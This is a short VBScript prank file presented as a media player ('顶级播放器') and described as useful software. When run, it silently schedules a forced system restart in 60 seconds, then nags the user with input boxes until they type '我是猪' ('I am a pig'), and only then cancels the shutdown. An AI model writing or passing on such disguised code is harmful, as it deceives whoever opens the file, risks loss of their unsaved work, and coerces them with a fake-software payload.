顶级播放器.vbe

一个非常实用的计算机使用软件

on error resume next 
dim WSHshellA 
set WSHshellA = wscript.createobject("wscript.shell") 
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说'我是猪'，不说我是猪就1分钟后关你机，不信，试试···"" ",0 ,true 
dim a
dim b 
do while(a <> "我是猪") 
a = inputbox ("说'我是猪',就不关你的机了，快撒，说 ""我是猪""　","说不说","不说",7000,7000)

if a<>"我是猪" then
   b=b+1
   if a="" then 
       msgbox  chr(13) + chr(13) +  chr(13) +  chr(13) +  chr(13) + chr(13) +  chr(13) +"取消是解决不了问题的，啊哈哈！" 
   else 
      if b=5 or b=10 or b=15 then
       msgbox chr(13) + chr(13) +  chr(13) +  chr(13) +  chr(13) + chr(13) +  chr(13) +"还不说?时间已经不多啦。。可别怪我心狠手辣！",0,"MsgBox" 
      else
       msgbox chr(13) + chr(13) +  chr(13) +  chr(13) +  chr(13) + chr(13) +  chr(13) +"还不说?",0,"MsgBox" 
end if
   end if
else
   msgbox chr(13) + chr(13) +  chr(13) +  chr(13) +  chr(13) + chr(13) +  chr(13) +"早说不就完了嘛，哈哈哈" 
end if

loop

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
'msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾!"